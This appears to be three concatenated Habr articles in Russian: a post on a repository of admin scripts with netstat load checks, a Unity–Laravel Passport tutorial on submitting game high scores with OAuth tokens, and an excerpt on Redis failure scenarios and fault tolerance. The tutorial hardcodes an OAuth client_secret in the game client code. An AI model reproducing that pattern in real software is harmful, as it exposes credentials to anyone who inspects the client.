В последнее время мне часто приходится переносить эти скрипты между новыми, только установленными системами. Поэтому я создал [репозиторий на github](https://github.com/cr3a70r/licru), в котором систематизирую все свои скрипты, которыми пользуюсь каждый день. Идея создать репо, в котором сконцентрировать наиболее удобные и полезные скрипты.
Я стараюсь каждый день дополнять список, исправляя свои скрипты и их неудобства. Поэтому репозиторий будет часто обновляться.
Так же у меня есть некоторое количество скриптов, позволяющих оценить нагрузку системы с использованием netstat:
```
netstat -na | grep ":80\ " | wc -l
netstat -na | grep ":80\ " | grep SYN_RCVD | wc -l
netstat -na | grep ":80\ " | grep ESTAB | wc -l
```
и т.д.
Очень приветствуются дополнения, критика и исправления ошибок в скриптах. Большая часть скриптов взята с commandlinefu — как замена моим менее функциональным. | https://habr.com/ru/post/317208/ | null | ru | null |
# Добавление рекордов с OAuth 2: Laravel Passport + Unity. Часть 2
Продолжение статьи про добавление рекордов из игры на сайт от конкретного пользователя. В [первой части](https://habrahabr.ru/post/340282/) мы сделали страничку рекордов на **Laravel** и подготовили API для их добавления — как анонимным, так и авторизированным пользователем. В этой части будем дорабатывать готовую игру на **Unity** про Крысу на Стене, заходить за свой аккаунт и отправлять рекорды на сайт на **Laravel** с использованием токена авторизации.
Подготовка
----------
В качестве примера предлагаю воспользоваться моим раннером про крысу с простейшим функционалом — крыса ползёт по стене, а сверху падают сковородки. Скачать проект для **Unity 2017.1** можно с [гитхаба](https://github.com/KuzyT/ratwall-unity). При желании можно использовать и любой другой проект, здесь рассматривается только принцип и один из вариантов его реализации.
Также в туториале используется готовый сайт на **Laravel** из первой части. Скачать его можно [здесь](https://github.com/KuzyT/ratwall-laravel). Чтобы сайт был доступен по адресу <http://127.0.0.1:8000/>, нужно воспользоваться командой:
```
php artisan serve
```
Откроем проект в **Unity**. Базовый игровой процесс выглядит следующим образом.
При нажатии на **Play** мы сможем управлять крысой, перемещаясь по стене в определенных границах и уклоняясь от падающих сковородок. Слева вверху идёт счётчик очков, внизу — остаток жизней. При нажатии на **Esc** отображается меню паузы — пустая панелька, на которую нам предстоит добавить форму авторизации. После окончания игру можно перезапустить кнопкой **R**.
Первым делом займемся добавлением анонимных рекордов.
Анонимные рекорды
-----------------
Создадим новый скрипт в папке `Scripts` при помощи команды `Create -> C# Script` на панели `Project`. Назовем его `WWWScore` и откроем получившийся файл `WWWScore.cs` в используемом вами редакторе для **Unity** (**Visual Studio**, **MonoDevelop**).
Первым делом добавим поле для хранения адреса сервера. Укажем `[SerializeField]` для того, чтобы можно было изменять эту приватную переменную через панель `Inspector` в **Unity**.
```
[SerializeField]
private string serverURL = "http://127.0.0.1:8000/";
```
По-умолчанию адрес зададим тем же, что и у нашего сайта на Laravel. При желании его можно будет изменить.
Теперь перейдём к функции добавления рекорда от анонимного пользователя. Эта функция будет отправлять POST-запрос на сервер и дожидаться ответа. Как вариант обработки таких запросов, воспользуемся *сопрограммой* (***Coroutine***) для запуска функции параллельно. Функция для использования в сопрограмме будет выглядеть следующим образом:
```
public IEnumerator AddRecord(int score)
{
WWWForm form = new WWWForm();
form.AddField("score", score);
WWW w = new WWW(serverURL + "api/anonymrecord", form);
yield return w;
if(!string.IsNullOrEmpty(w.error)) {
Debug.Log(w.error);
} else {
Debug.Log("Рекорд добавлен!");
}
}
```
Мы добавляем данные для POST-запроса (значение переменной `score`, которую мы будем передавать при вызове сопрограммы из класса `GameController`), формируем запрос по адресу <http://127.0.0.1:8000/api/anonymrecord> и ждем результата. Как только приходит ответ от сервера (или заканчивает срок ожидания запроса), в консоли будет выведено сообщение **Рекорд добавлен!**, или же информация об ошибке в случае неудачи.
Добавим скрипт `WWWScore.cs` объекту `Game Controller` через кнопку **Add Component** на панели `Inspector`, или же просто перетащив скрипт мышкой на объект.
Теперь отредактируем скрипт `GameController.cs`, добавив туда вызов сопрограммы.
```
void Update () {
if (gameover){
// Действия, выполняемые только один раз после конца игры до рестарта
if (!gameoverStarted) {
gameoverStarted = true; // Существующий код
restartText.SetActive(true); // Существующий код
// Отправляем рекорд
StartCoroutine(GetComponent().AddRecord(score));
}
// ...
} else {
// ...
}
// ...
}
```
Сопрограмма вызывается один раз в тот момент, когда игра была закончена — сразу после включения интерфейса рестарта игры. При нажатии на **R** сцена будет перезапущена, и можно будет опять дойти до конца игры, вызвав добавление рекорда.
Сохраним скрипт и проверим работу игры. Через некоторое время после окончания игры в консоли появится сообщение **Рекорд добавлен!**
Можно открыть табличку рекордов на сайте и убедиться в том, что запрос действительно был отправлен.
Анонимное добавление рекордов работает. Перейдём к авторизации.
Код авторизации
---------------
Добавим функцию авторизации `Login(string email, string password)` в `WWWScore.cs`, которую потом будем передавать сопрограмме. Аналогично функции добавления рекордов, она формирует POST-запрос к нашему сайту на **Laravel**, передавая в нём набор данных по адресу <http://127.0.0.1:8000/oauth/token>. Необходимый набор данных для авторизации мы рассматривали в первой части статьи.
```
WWWForm form = new WWWForm();
form.AddField("grant_type", "password");
form.AddField("client_id", "");
form.AddField("client\_secret", "");
form.AddField("username", email); // Параметр функции
form.AddField("password", password); // Параметр функции
form.AddField("scope", "\*");
```
После получения результата запроса необходимо преобразовать данные из `json`. Это можно сделать с помощью **JsonUtility**, преобразовав `json` в объект. Опишем класс объекта в том же файле `WWWScore.cs` до описания класса `WWWScore`.
```
[Serializable]
public class TokenResponse
{
public string access_token;
}
```
Как мы помним, в получаемом объекте `json` будут 4 поля, но нам нужно только поле `access_token`, его мы и описываем в классе. Теперь можно добавить само конвертирование json в объект.
```
TokenResponse tokenResponse = JsonUtility.FromJson(w.text);
```
После получения токена авторизации нам нужно сохранить его. Для простоты воспользуемся классом **PlayerPrefs**, предназначенном как раз для сохранения пользовательских настроек.
```
PlayerPrefs.SetString("Token", tokenResponse.access_token);
```
После того, как мы сохранили токен, можно воспользоваться им для добавления рекорда от этого пользователя. Но перед этим мы можем также запросить информацию о текущем пользователе, чтобы отобразить в игре, за какого пользователя осуществлен вход. Для этого вызываем сопрограмму с соответствующей функцией, которой пока ещё нет.
```
StartCoroutine(GetUserInfo());
```
Напишем и эту функцию.
**Полный код функции Login**
```
[Serializable]
public class TokenResponse
{
public string access_token;
}
public class WWWScore : MonoBehaviour {
// ...
public IEnumerator Login(string email, string password)
{
WWWForm form = new WWWForm();
form.AddField("grant_type", "password");
form.AddField("client_id", "3");
form.AddField("client_secret", "W82LfjDg4DpN2gWlg8Y7eNIUrxkOcyPpA3BM0g3s");
form.AddField("username", email);
form.AddField("password", password);
form.AddField("scope", "*");
WWW w = new WWW(serverURL + "oauth/token", form);
yield return w;
if (!string.IsNullOrEmpty(w.error))
{
Debug.Log(w.error);
}
else
{
TokenResponse tokenResponse = JsonUtility.FromJson(w.text);
if (tokenResponse == null)
{
Debug.Log("Конвертирование не удалось!");
}
else
{
// Сохраняем токен в настройках
PlayerPrefs.SetString("Token", tokenResponse.access\_token);
Debug.Log("Токен установлен!");
// Запрашиваем имя пользователя
StartCoroutine(GetUserInfo());
}
}
}
}
```
Получение информации о пользователе
-----------------------------------
Нам нужно выполнить GET-запрос по адресу <http://127.0.0.1:8000/api/user>, прописав в ***Headers*** запроса данные авторизации и не передавая при этом никаких других данных в запросе (`null`).
```
Dictionary headers = new Dictionary();
headers.Add("Authorization", "Bearer " + PlayerPrefs.GetString("Token"));
WWW w = new WWW(serverURL + "api/user", null, headers);
```
Аналогично прошлой функции, в качестве ответа мы получаем `json`, для разбора которого нужно создать отдельный класс с единственным нужным нам полем из всей структуры `json` — именем.
```
[Serializable]
public class UserInfo
{
public string name;
}
```
Конвертируем json в объект этого класса.
```
UserInfo userInfo = JsonUtility.FromJson(w.text);
```
Сохраняем имя пользователя в настройках.
```
PlayerPrefs.SetString("UserName", userInfo.name);
```
**Полный код функции GetUserInfo**
```
// Класс TokenResponse
// ...
[Serializable]
public class UserInfo
{
public string name;
}
public class WWWScore : MonoBehaviour {
// ...
// Функция Login
// ...
public IEnumerator GetUserInfo()
{
Dictionary headers = new Dictionary();
headers.Add("Authorization", "Bearer " + PlayerPrefs.GetString("Token"));
WWW w = new WWW(serverURL + "api/user", null, headers);
yield return w;
if (!string.IsNullOrEmpty(w.error))
{
Debug.Log(w.error);
}
else
{
UserInfo userInfo = JsonUtility.FromJson(w.text);
if (userInfo == null)
{
Debug.Log("Конвертирование не удалось!");
}
else
{
// Сохраняем токен в настройках
PlayerPrefs.SetString("UserName", userInfo.name);
Debug.Log("Имя пользователя установлено!");
}
}
}
}
```
Изменения в коде добавления рекордов
------------------------------------
Чтобы добавлять рекорды от авторизированного пользователя, мы немного изменим код функции `AddRecord(int score)`. Добавим проверку, заполнен ли токен авторизации в настройках, и если да — будем добавлять его в ***Headers*** аналогично тому, как это было при получении информации о пользователе, с тем лишь отличием, что мы всё ещё передаём рекорд в данных POST-запроса.
```
WWW w;
if (PlayerPrefs.HasKey("Token"))
{
Dictionary headers = new Dictionary();
byte[] rawData = form.data;
headers.Add("Authorization", "Bearer " + PlayerPrefs.GetString("Token"));
w = new WWW(serverURL + "api/record", rawData, headers);
} else {
w = new WWW(serverURL + "api/anonymrecord", form);
}
```
**Полный код изменённой функции AddRecord**
```
public IEnumerator AddRecord(int score)
{
WWWForm form = new WWWForm();
form.AddField("score", score);
WWW w;
if (PlayerPrefs.HasKey("Token"))
{
Dictionary headers = new Dictionary();
byte[] rawData = form.data;
headers.Add("Authorization", "Bearer " + PlayerPrefs.GetString("Token"));
w = new WWW(serverURL + "api/record", rawData, headers);
} else {
w = new WWW(serverURL + "api/anonymrecord", form);
}
yield return w;
if(!string.IsNullOrEmpty(w.error)) {
Debug.Log(w.error);
} else {
Debug.Log("Рекорд добавлен!");
}
}
```
Код выхода
----------
Чтобы выйти за пользователя из игры, необходимо удалить все данные о нем в настройках. В нашем случае у нас нет никаких других настроек, поэтому мы просто очищаем все настройки. Будьте аккуратнее с этим в своих проектах.
```
public void Logout()
{
PlayerPrefs.DeleteAll();
}
```
Основной контроллер
-------------------
Теперь подготовим основной контроллер игры (`GameController.cs`) для работы с авторизацией пользователя. Нам будут нужны объекты с панелью авторизации `loginObj` и панелью выхода `logoutObj`, чтобы можно было переключать их. На панели авторизации будут поля ввода для электронного адреса (`inputFieldEmail`) и для пароля (`inputFieldPassword`). Также нам будет нужна надпись `userNameText` для отображения имени пользователя, который зашел за свой аккаунт.
```
// Объект авторизации
public GameObject loginObj;
// Объект выхода
public GameObject logoutObj;
// Поле E-mail
public GameObject inputFieldEmail;
// Поле Пароль
public GameObject inputFieldPassword;
// Надпись с именем пользователя
public GameObject userNameText;
```
Для авторизации мы создадим функцию `Login()`, которая будет вызываться по клику на кнопке ***Войти***, считывать адрес электронной почты с паролем и вызывать сопрограмму с одноименной функцией из `WWWScore.cs`.
```
public void Login()
{
var email = inputFieldEmail.GetComponent().text;
var password = inputFieldPassword.GetComponent().text;
StartCoroutine(GetComponent().Login(email, password));
}
```
Функция выхода очень проста — она будет вызываться по клику на кнопке ***Выйти*** и вызывать одноименную функцию из `WWWScore.cs` без каких-либо параметров.
```
public void Logout()
{
GetComponent().Logout();
}
```
Для переключения видимости панелей авторизации и выхода мы будем проверять, сохранена ли соответствующая настройка в **PlayerPrefs** и в зависимости от этого отображать нужную панель.
```
public void SetLoginVisible()
{
if (PlayerPrefs.HasKey("Token"))
{
loginObj.SetActive(false);
logoutObj.SetActive(true);
}
else
{
loginObj.SetActive(true);
logoutObj.SetActive(false);
}
}
```
Аналогично, для отображения имени пользователя проверяем настройку имени и если её нет, пишем ***Аноним***.
```
public void SetUserName()
{
if (PlayerPrefs.HasKey("UserName"))
{
userNameText.GetComponent().text = PlayerPrefs.GetString("UserName");
} else
{
userNameText.GetComponent().text = "Аноним";
}
}
```
Последние две функции следует вызывать только при изменении соответствующих настроек (и в процессе инициализации), но в рамках этого туториала можно делать это и в функции `Update()`:
```
void Update () {
// ...
// Подсчет результата
// ...
SetUserName();
SetLoginVisible();
}
```
Теперь переходим к визуальной составляющей.
Интерфейс авторизации
---------------------
Добавим интерфейс авторизации. Поставим галочку **Enable** панельке `Pause`, вложенной в объект `Canvas`. Создадим новый пустой объект (**Create Empty**), назовём его `Login` и поместим внутрь панели `Pause`, на одном уровне с `Title` (надпись ***Пауза***). Добавим ему компонент `Graphic Raycaster` (для корректной работы со вложенными элементами).
В этот объект `Login` добавим два поля ввода, `InputFieldEmail` и `InputFieldPassword` (**UI -> Input Field**), поменяв им текст плейсхолдера для наглядности. Компоненту **Input Field** у объекта `InputFieldEmail` сменим тип данных в поле **Content Type** на ***Email Address***, а у объекта `InputFieldPassword` — на ***Password***. Добавим кнопку `ButtonLogin` (**UI -> Button**) в этот же объект `Login`. Интерфейс будет выглядеть примерно так (если поиграться со шрифтами и размером компонентов).
Привяжем созданную ранее функцию к событию клика по кнопке `ButtonLogin`. У компонента **Button** на панели `Inspector` нажмём на плюсик у события **On Click ()**, выберем **Editor and Runtime** из списка (для корректной работы в процессе отладки) и перетянем туда объект **Game Controller** (мышкой или же выбрав его при клике на кружок выбора у поля объекта). В появившемся после этого выпадающем меню выберем компонент `GameController` и функцию `Login()` в нём.
Снимем галочку **Enable** у объекта `Login` — его отображение регулируется в `GameController.cs`.
Интерфейс выхода
----------------
Создадим новый объект `Logout` аналогично объекту `Login` (не забыв про компонент `Graphic Raycaster`) вложенным в `Pause`. Добавим объекту `Logout` только кнопку `ButtonLogout`. Аналогично прошлой кнопке, привяжем к событию клика функцию `Logout()` компонента `GameController` одноименного объекта.
Снимем галочку **Enable** у объекта `Logout` и у самой панели `Pause`.
Отображение имени пользователя
------------------------------
Добавим текстовый элемент `User` (**UI -> Text**) в главный `Canvas` до элемента `Pause`, написав в нём ***Аноним*** (либо оставив пустым, т.к. надпись будет назначаться в `GameController.cs`) и поместив в верхний правый угол. Здесь будет отображаться имя авторизированного пользователя.
Назначение объектов контроллеру
-------------------------------
Выберем объект `GameController`. На панели **Inspector** у компонента `Game Controller` есть несколько пустых полей, которые мы добавляли в коде ранее. Назначьте им соответствующие объекты, перетащив мышкой из панели **Hierarchy** или выбрав из списка после нажатия на кружок выбора у поля.
Тестирование
------------
Мы подошли к заключительной части — проверки, что всё работает так, как надо. Запустим игру и нажмём на **Esc**. Перед нами откроется панель авторизации. Наберём данные зарегистрированного на сайте пользователя (в прошлой статье мы использовали **habr@habrahabr.ru** / **habrahabr**).
Нажмём на кнопку ***Войти***. В случае успеха через некоторое время панель авторизации пользователя сменится на панель выхода, оставив только соответствующую кнопку, а вместо **Аноним** справа вверху будет написано **Habr** — имя пользователя с сайта.
Теперь, если снова нажать на **Esc** и поставить рекорд, он будет отправляться от авторизированного пользователя, а не от анонимного.
Это можно проверить, зайдя на страницу рекордов на сайте.
На этом мой первый туториал завершается. Буду рад ответить на вопросы по нему!
**Полный код WWWScore.cs**
```
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
[Serializable]
public class TokenResponse
{
public string access_token;
}
[Serializable]
public class UserInfo
{
public string name;
}
public class WWWScore : MonoBehaviour {
[SerializeField]
private string serverURL = "http://127.0.0.1:8000/";
public IEnumerator AddRecord(int score)
{
WWWForm form = new WWWForm();
form.AddField("score", score);
WWW w;
if (PlayerPrefs.HasKey("Token"))
{
Dictionary headers = new Dictionary();
byte[] rawData = form.data;
headers.Add("Authorization", "Bearer " + PlayerPrefs.GetString("Token"));
w = new WWW(serverURL + "api/record", rawData, headers);
} else {
w = new WWW(serverURL + "api/anonymrecord", form);
}
yield return w;
if(!string.IsNullOrEmpty(w.error)) {
Debug.Log(w.error);
} else {
Debug.Log("Рекорд добавлен!");
}
}
public IEnumerator Login(string email, string password)
{
WWWForm form = new WWWForm();
form.AddField("grant\_type", "password");
form.AddField("client\_id", "3"); // Пример заполнения
form.AddField("client\_secret", "W82LfjDg4DpN2gWlg8Y7eNIUrxkOcyPpA3BM0g3s"); // Пример заполнения
form.AddField("username", email);
form.AddField("password", password);
form.AddField("scope", "\*");
WWW w = new WWW(serverURL + "oauth/token", form);
yield return w;
if (!string.IsNullOrEmpty(w.error))
{
Debug.Log(w.error);
}
else
{
TokenResponse tokenResponse = JsonUtility.FromJson(w.text);
if (tokenResponse == null)
{
Debug.Log("Конвертирование не удалось!");
}
else
{
// Сохраняем токен в настройках
PlayerPrefs.SetString("Token", tokenResponse.access\_token);
Debug.Log("Токен установлен!");
// Запрашиваем имя пользователя
StartCoroutine(GetUserInfo());
}
}
}
public IEnumerator GetUserInfo()
{
Dictionary headers = new Dictionary();
headers.Add("Authorization", "Bearer " + PlayerPrefs.GetString("Token"));
WWW w = new WWW(serverURL + "api/user", null, headers);
yield return w;
if (!string.IsNullOrEmpty(w.error))
{
Debug.Log(w.error);
}
else
{
UserInfo userInfo = JsonUtility.FromJson(w.text);
if (userInfo == null)
{
Debug.Log("Конвертирование не удалось!");
}
else
{
// Сохраняем токен в настройках
PlayerPrefs.SetString("UserName", userInfo.name);
Debug.Log("Имя пользователя установлено!");
}
}
}
public void Logout()
{
PlayerPrefs.DeleteAll();
}
}
```
**Полный код GameController.cs**
```
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
using UnityEngine.UI;
// Класс сковородки
[System.Serializable]
public class PanClass
{
// Префаб сковородки
public GameObject panObj;
// Пауза до начала падения сковородок
public float start;
// Пауза между сковородками
public float pause;
}
public class GameController : MonoBehaviour {
// Объект сковородки
public PanClass pan;
// Точка спавна
public Vector2 spawnValues;
// Объект с интерфейсом результата
public GameObject scoreText;
// Объект с интерфейсом рестарта игры
public GameObject restartText;
// Объект с интерфейсом панели паузы
public GameObject pausePanel;
// Время между повышениями результата
public float scoreRate = 1.0F;
// Значение, на которое повышается результат
public int scoreAdd = 10;
// Результат
public static int score;
// Признак завершения игры
public static bool gameover;
// Время до следующего результата
private float nextScore = 0.0F;
// Признак того, что единоразовые действия после конца игры были выполнены
private bool gameoverStarted;
// Объект авторизации
public GameObject loginObj;
// Объект выхода
public GameObject logoutObj;
// Поле E-mail
public GameObject inputFieldEmail;
// Поле Пароль
public GameObject inputFieldPassword;
// Надпись с именем пользователя
public GameObject userNameText;
void Start () {
// Инициализация значений (для рестарта)
gameover = false;
score = 0;
gameoverStarted = false;
// Запустить падение сковородок
StartCoroutine(PanSpawn());
}
void FixedUpdate()
{
if (!gameover)
{
// Обновить результат
scoreText.GetComponent().text = score.ToString();
}
}
void Update () {
if (gameover){
// Действия, выполняемые только один раз после конца игры до рестарта
if (!gameoverStarted) {
gameoverStarted = true;
// Отобразить интерфейс рестарта
restartText.SetActive(true);
// Отправляем рекорд
StartCoroutine(GetComponent().AddRecord(score));
}
// Рестарт по R
if (Input.GetKey(KeyCode.R))
{
// Перезапуск сцены
SceneManager.LoadScene(0);
}
} else {
if (Input.GetKeyDown(KeyCode.Escape))
{
if (Time.timeScale != 0) {
// Поставить на паузу
Time.timeScale = 0;
pausePanel.SetActive(true);
} else {
// Снять с паузы
Time.timeScale = 1;
pausePanel.SetActive(false);
}
}
}
// Подсчет результата
if (!gameover && (Time.time > nextScore))
{
nextScore = Time.time + scoreRate;
score = score + scoreAdd;
}
SetUserName();
SetLoginVisible();
}
// Падение сковородки
IEnumerator PanSpawn()
{
// Пауза до начала падения сковородок
yield return new WaitForSeconds(pan.start);
// Бесконечный цикл, до конца игры
while (!gameover)
{
// Генерировать крутящуюся сковородку в случайном месте на определенной высоте
Vector2 spawnPosition = new Vector2(Random.Range(-spawnValues.x, spawnValues.x), spawnValues.y);
Quaternion spawnRotation = Quaternion.identity;
Instantiate(pan.panObj, spawnPosition, spawnRotation);
yield return new WaitForSeconds(pan.pause);
}
}
// Авторизация
public void Login()
{
var email = inputFieldEmail.GetComponent().text;
var password = inputFieldPassword.GetComponent().text;
StartCoroutine(GetComponent().Login(email, password));
}
// Выход
public void Logout()
{
GetComponent().Logout();
}
// Поменять видимость формы авторизации
public void SetLoginVisible()
{
if (PlayerPrefs.HasKey("Token"))
{
loginObj.SetActive(false);
logoutObj.SetActive(true);
}
else
{
loginObj.SetActive(true);
logoutObj.SetActive(false);
}
}
// Установить имя пользователя из настроек
public void SetUserName()
{
if (PlayerPrefs.HasKey("UserName"))
{
userNameText.GetComponent().text = PlayerPrefs.GetString("UserName");
} else
{
userNameText.GetComponent().text = "Аноним";
}
}
}
```
[Первая часть](https://habrahabr.ru/post/340282/)
[Готовый проект на Laravel](https://github.com/KuzyT/ratwall-laravel)
[Базовый проект на Unity](https://github.com/KuzyT/ratwall-unity) (ветка `master`)
[Готовый проект на Unity](https://github.com/KuzyT/ratwall-unity/tree/final) (ветка `final`) | https://habr.com/ru/post/340362/ | null | ru | null |
# Отказоустойчивая работа с Redis
Эта статья — переработанная версия доклада [Отказоустойчивая работа с Redis](https://www.youtube.com/watch?v=9qvr920dWtk) с прошедшего 17 октября 2020 митапа PHP-разработчиков Йошкар-Олы.
Мы поговорим о подводных камнях использования Redis в системе, где важна отказоустойчивость — на примере хранения сессий в условном веб-сервисе, написанном на PHP, но многие замечания будут справедливы и для других платформ — например для микросервисов на Go. Статья будет полезна, если вы проектируете микросервисы или монолитные приложения с достаточно большой нагрузкой и интенсивно работаете с Redis либо столкнулись с потребностью в перепроектировании механизмов аутентификации и сессий.
### Немного о Redis
Redis — это NoSQL СУБД с открытым исходным кодом, работающая с данными вида «ключ — значение». Если вы захотите узнать о преимуществах Redis, вы наверняка найдёте примерно такой список:
1. Redis хранит все данные в оперативной памяти, что повышает производительность
2. В Redis нет SQL и схемы хранилища, что опять же повышает производительность (нет интерпретатора SQL) и даёт гибкость
3. Нет никаких ACID транзакций, изменения просто сохраняются на диск в фоне, что тоже повышает производительность
* см. [Redis Persistence](https://redis.io/topics/persistence) в документации
Иначе говоря, Redis может быть очень быстрым.
Но давайте взглянем на это с точки зрения надёжности и отказоустойчивости:
1. Redis хранит все данные в оперативной памяти, и при аварийном завершении процесса или выключении машины данные будут потеряны
2. Redis не ориентирован на ACID транзакции, и на практике значит:
* даже при включённом сохранении на диск данные могут быть потеряны частично либо полностью
* в данных может быть нарушена целостность с точки зрения приложения
* фоновое сохранение данных на диск может нанести ущерб производительности и отказоустойчивости
Значит ли это, что Redis плох? Вовсе нет. Наша статья о том, что при внедрении Redis в проект нужно рассматривать разные варианты и принимать взвешенные решения, а не верить слепо, что всё уже предусмотрено умными дядьками и никаких проблем на production не возникнет.
Теперь поговорим про это подробнее.
### Сценарии отказа Redis
Допустим, мы используем классический метод развёртывания веб-приложений, и у нас есть две машины — на одной развёрнуто PHP приложение, на другой — Redis.
Обычно в PHP приложении на каждый HTTP-запрос создаётся новый контекст PHP-интерпретатора, со своей памятью и ресурсами. Чтобы обратиться к Redis (например, для чтения/записи данных сессии), приложению придётся установить соединение с Redis, а потом отправить одну или несколько команд — например, `SETEX key, value, ttl`. С точки зрения Redis, есть 4 этапа обработки первой полученной команды:
1. Приём соединения
2. Приём команды
3. Ожидание в очереди
4. Обработка команды
Из этих шагов только последний работает с той фантастической скоростью, которую обещают разработчики Redis. Все остальные могут вызывать проблемы.
Во-первых, Redis может упасть:
В этом случае приложение попытается установить соединение, но не сможет (сразу либо после произвольного таймаута, установленного для библиотеки [Predis](https://github.com/predis/predis)). Будет создано исключение, к которому код может быть не готов.
Во-вторых, может нарушиться сетевая связность:
В этом случае бесполезное ожидание и отказ по таймауту неизбежны, что может привести к веерным отказам: сначала бесполезные таймауты под нагрузкой приведут к повышению числа активных процессов php-fpm и числа соединений с СУБД, а потом закончится либо одно, либо другое, клиенты начнут получать 500-е и 504-е коды ошибок — сервис перестанет их обслуживать.
В-третьих, под высокой нагрузкой Redis может не успеть обработать полученную команду:
С точки зрения приложения произойдёт отказ по таймауту, с рисками веерного отказа. Что ещё хуже, веерные отказы могут произойти и без явных отказов Redis: приложение просто будет ждать дольше обычного и исчерпаются соединения с СУБД либо процессы php-fpm.
Наконец, у Redis может кончиться память, и тогда всё зависит от настроек maxmemory и maxmemory-policy. По умолчанию maxmemory-policy имеет значение noeviction, и это означает, что при нехватке памяти Redis перейдёт в режим readonly:
Даже если поменять maxmemory-policy, вы можете получить ситуацию, когда при нехватке памяти Redis выкидывает ключи, значительно сокращая время жизни сессий, токенов и других полезных данных. Будет ли ваше приложение работать нормально, если контракт на время жизни данных не выполняется?
### Сценарии отказа Redis в Kubernetes
Давайте сгустим краски ещё больше: добавим Kubernetes и засунем в него Redis.
Kubernetes — это система управления кластером. Он запускает N приложений в контейнерах на меньшем числе машин, распределяя нагрузку такими сложными путями, что для сопровождения проекта в Kubernetes вам потребуется отдельная команда (если у вас всё кросс-функциональное, тогда её размажет ровным слоем по остальным командам).
Допустим, у нас есть кластер из 4 worker'ов, управляемых Kubernetes. Допустим, Kubernetes раскидал экземпляры PHP-приложения и Redis так, как показано на картинке:
После этого worker #3 вывели на обслуживание, в результате мы теряем единственный экземпляр Redis и 2 из 4 экземпляров приложения и получаем кратковременный отказ. Если Redis прислал свои данные не на сетевой диск, то получаем ещё и потерю всех его данных. Если же он писал на сетевой диск, то делал это медленно, поскрипывая винчестерами на весь дата-центр и мешая дежурным спать.
Как бы развернуть Redis, чтобы потеря одной worker-машины не создавала проблем?
У Redis предусмотрено два способа организации отказоустойчивости: Redis Sentinel и Redis Cluster. Прочитав документацию и собрав факты, вы увидите следующее:
1. Обе реализации являются скорее кирпичиками для построения отказоустойчивости с автоматическим failover
2. Redis Cluster имеет некоторую автоматизацию, но эта разница нивелируется в Kubernetes за счёт Redis Operator (например, [spotahome/redis-operator](https://github.com/spotahome/redis-operator)), который основан на Redis Sentinel
3. Redis Cluster даёт шардирование, Redis Sentinel его не даст
Если вы хотите производительность выше той космической, что можно выжать из одного инстанса, подумайте о Redis Cluster вне Kubernetes. Если вы хотите засунуть Redis в Kuberntes, используйте Redis + Sentinel + Redis Operator.
Отказоустойчивость Sentinel и Cluster имеет свою цену:
1. Оба варианта меняют протокол взаимодействия с Redis, и клиент должен поддерживать новый вариант
2. Как минимум 3 экземпляра Redis Sentinel нужно, чтобы достигнуть кворума при выборке master
3. Сам Redis Sentinel нового мастера не назначит, его надо попросить, что и делает Redis Operator
Взаимодействие PHP-приложения с Redis Sentinel показано на схеме:
Сначала приложение обращается к Redis Sentinel и узнаёт, какой из экземпляров Redis является мастером. Затем приложение обращается к нужному экземпляру Redis.
Допустим, в нашем кластере распределено 3 redis и 3 redis-sentinel, причём redis master и один из sentinel оказались на одной машине #3:
После этого worker #3 вывели на обслуживание, в результате мы теряем redis master и один из redis-sentinel. Пока redis-sentinel не перезапустится на другой машине, а redis operator не попросит всех троих выбрать нового master, redis останется недоступен (по крайней мере на запись).
Чтобы PHP-приложение (или, например, NGINX/Lua) не обращалось к redis-sentinel на каждый запрос, можно ввести ещё одного игрока: redis-proxy (например, [ifwe/twemproxy](https://github.com/ifwe/twemproxy)). Этот proxy является stateless, он может быть запущен внутри контейнера PHP-приложения либо как sidecar-контейнер, чтобы минимизировать задержки сети.
Взаимодействие PHP-приложения с Redis Proxy показано на схеме:
Возможен ещё один вариант отказа из статьи [Одна история с оператором Redis в K8s и мини-обзор утилит для анализа данных этой БД](https://habr.com/ru/company/flant/blog/480722/)
1. Worker, на котором находится redis master, выводится на обслуживание
2. Запускается новый redis
3. Посовещавшись, тройка redis sentinel выбирает новый redis мастером
4. Новый и абсолютно пустой redis в роли мастера просит реплики удалить все данные
Баг, приводящий к такому сценарию, исправили в spotahome/redis-operator, но кто даст гарантию, что это был последний баг?
Избежать проблемы можно путём добавления сетевого диска — например, NFS. Тогда NFS станет ещё одной точкой отказа.
### Так что же делать?
Если вы на этапе проектирования, подумайте:
1. Так ли вам нужен Redis в этом классе/модуле/сервисе? избегайте хранения в Redis важных данные или данных, требующих контроля целостности
2. Так ли вам нужен Redis в Kubernetes, или подойдёт Redis на отдельной машине?
В целом стоит насторожиться, когда кто-то предлагает засунуть хранилища данных в Kubernetes. Если это предлагает коллега, расскажите ему анекдот про мужика, сено и скафандр.
Вы можете столкнутся с несколькими доводами в пользу применения Redis:
1. В проекте уже используют Redis
* *возражение*: важно понимать, для чего именно использован Redis и на какие компромиссы при этом согласились
2. Данные имеют time to life
* *возражение*: это не мешает хранить их в SQL СУБД
3. Redis быстрее SQL СУБД
* *возражение*: перегруженный redis работает медленее, кроме того, взаимодействие с двумя хранилищами вместо одного добавляет сетевые задержки и точки отказа
Достойная причина использовать Redis — высокие нагрузки и данные, которые не так страшно потерять.
### Как улучшить отказоустойчивость
Сложная система порождает новые сценарии катастроф. Что ещё хуже, вы не можете заранее предсказать все риски. Но можно практиковать избыточность, нагрузочное тестирование и тестирование тех сценариев отказа, которые вы можете предсказать.
Избыточность может проявляться по-разному:
1. В дополнительных сущностях: redis-sentinel, redis-operator, redis-proxy
2. В распределении redis по разным машинам или даже разным дата-центрам
3. В дополнительной отказоустойчивости со стороны приложения, а не инфраструктуры
Последний пункт почти не упоминается в статьях об отказоустойчивом Redis, а мы поговорим об этом подробнее.
### Делаем кэширование необязательным
Допустим, наше приложение на PHP использует Redis как кэш. В таком случае мы должны:
1. При записи сохранять данные и в Redis, и в основную БД
2. При чтении читать сначала из Redis, а при ошибке — читать из БД
3. Сохранить небольшой timeout для клиента Redis — например, 100 или 300 миллисекунд
Рассмотрим схему классов для хранения данных сессии:
1. Интерфейс `KeyValueCacheInterface` объявляет обобщённый API для работы с кэшем, за которым скрыт Redis
2. Интерфейс `SessionStorageInterface` объявляет хранилище данных сессии
* реализация `DatabaseSessionStorage` хранит сессии в таблице в БД
* реализация `KeyValueCacheSessionStorage` хранит сессии в кэше
3. `SessionService` использует оба варианта хранилища, но работает с ними по-разному
При чтении данных в `SessionService` сначала пытаемся читать из Redis, в случае ошибки — читаем из БД:
```
private function doRead(callable $job)
{
try
{
return $job($this->cacheStorage);
}
